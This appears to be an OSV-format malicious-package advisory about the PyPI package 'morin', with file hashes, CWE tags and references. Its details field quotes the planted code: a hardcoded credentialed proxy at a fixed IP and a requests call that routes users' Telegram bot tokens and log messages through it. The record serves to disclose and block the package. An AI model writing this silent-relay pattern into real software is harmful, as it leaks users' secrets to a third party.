morin

{"modified":"2026-05-26T05:55:05Z","published":"2026-05-19T22:06:36Z","schema_version":"1.7.4","id":"MAL-2026-4757","summary":"Malicious code in morin (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (37c27d25a4c203cbb89156281fbacc7feb424a09eaa296f7c3dedff860891f1f)\nmorin/common.py hardcodes an HTTP proxy at 191.102.147.15:8000 with embedded credentials (`proxies = {'https': 'http://5TUMV6:sq3suS@191.102.147.15:8000'}`) and unconditionally routes all Telegram API calls through it via `requests.get(url, params=params, proxies=proxies, timeout=15)` where `url=https://api.telegram.org/bot{bot_token}/sendMessage`. Every Clickhouse/connector class in the package funnels through `Common.log_func` / `Common.send_logs`, so any caller using the package's notification feature ends up tunneling their Telegram bot_token (carried in the URL path) and log message content through this third-party host. The proxy is not the publisher's documented infrastructure, is not mentioned in the package documentation, and the operator of 191.102.147.15:8000 can observe and tamper with the CONNECT-tunneled traffic — including capturing the bearer bot tokens. This is the silent-relay shape: a public API quietly redirects caller-supplied secrets through an attacker-or-third-party-controlled destination.\n","affected":[{"package":{"ecosystem":"PyPI","name":"morin"},"versions":["0.5.24","0.5.23","0.5.26"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"morin/common.py","sha256":"7017414d8649055ed021cb87994779eaf9a66f7e882310f6320ce986cf7102bc","tlsh":"a0a2c7509e1768460172e61e8892e815fa1c916b3e75019375fca5b82ff0826dafcfec"}],"package_integrity":[{"filename":"morin-0.5.24-py3-none-any.whl","hashes":{"blake2b_256":"9bbbb0ce56e84a2c81419c389fe8559e8ac0e858601e364e0e90d0ae26249ef3","md5":"76fdd1b5646a2916c34b8eb75c084b9d","sha256":"7a88aa1e2e2c1013d947d6f21d86d21fc867945f0c1bfb2a7a609da6e2677709"}},{"filename":"morin-0.5.24.tar.gz","hashes":{"blake2b_256":"21442714a9edca1ec7b0b25e5923f746946c34d728044bed0900d7df320ca40c","md5":"fad353f6e6f78275fa59abd8252f0a77","sha256":"a0663e2cd6dd3961283ec567f57e310b34148348a4b32ea954d7ae2b4cbd38b9"}}]}}}],"references":[{"type":"PACKAGE","url":"https://pypi.org/project/morin/0.5.24/"},{"type":"PACKAGE","url":"https://pypi.org/project/morin/0.5.23/"},{"type":"PACKAGE","url":"https://pypi.org/project/morin/0.5.26/"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-003291","import_time":"2026-05-26T05:50:21.691270016Z","modified_time":"2026-05-19T22:10:44Z","sha256":"111c7b7358d363a099dcb3480bbef538d2ef40cb2e10a5558176496feef8bea5","source":"amazon-inspector","versions":["0.5.24"]},{"id":"IN-MAL-2026-003290","import_time":"2026-05-26T05:50:21.597873394Z","modified_time":"2026-05-19T22:06:36Z","sha256":"37c27d25a4c203cbb89156281fbacc7feb424a09eaa296f7c3dedff860891f1f","source":"amazon-inspector","versions":["0.5.23"]},{"id":"IN-MAL-2026-003576","import_time":"2026-05-26T05:50:53.409056686Z","modified_time":"2026-05-20T15:07:53Z","sha256":"9bc3ae6b2fbaf12d72087044e10c772a0e60c32404950ba8d8a41df145ca5b96","source":"amazon-inspector","versions":["0.5.26"]}]}}